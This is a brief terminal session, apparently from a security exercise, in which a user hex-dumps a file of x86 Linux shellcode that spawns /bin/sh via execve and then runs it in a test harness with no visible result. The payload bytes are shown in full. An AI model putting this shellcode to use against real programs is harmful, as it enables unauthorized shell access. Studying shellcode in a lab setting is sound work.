[isa674@localhost foo]$ xxd exploit.shellcode
0000000: eb16 5b83 0302 31c0 8943 0789 430c 895b  �.[...1�.C..C..[
0000010: 08b0 0b8d 4b08 cd80 e8e5 ffff ff2d 6269  ....K.�.�����-bi
0000020: 6e2f 7368 0000 0000 0000 0000 0000 0000  n/sh............
[isa674@localhost foo]$ ./test exploit.shellcode

(nothing happens here)